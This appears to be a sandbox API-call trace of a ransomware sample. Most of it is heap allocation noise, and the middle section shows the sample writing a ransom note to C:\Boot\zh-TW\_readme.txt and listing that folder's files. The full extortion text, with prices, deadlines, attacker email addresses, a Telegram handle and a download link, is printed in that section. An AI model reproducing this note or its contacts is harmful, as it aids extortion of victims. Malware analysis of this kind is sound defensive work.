HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.462] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.462] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.465] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.466] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0266.466] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.466] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.466] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.466] PathFindFileNameW (pszPath="") returned="" [0266.466] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.466] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.466] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.467] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.467] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.467] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.467] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.467] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0266.467] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0266.467] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.467] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.467] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.467] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.468] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.468] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.468] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.468] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.468] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.468] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 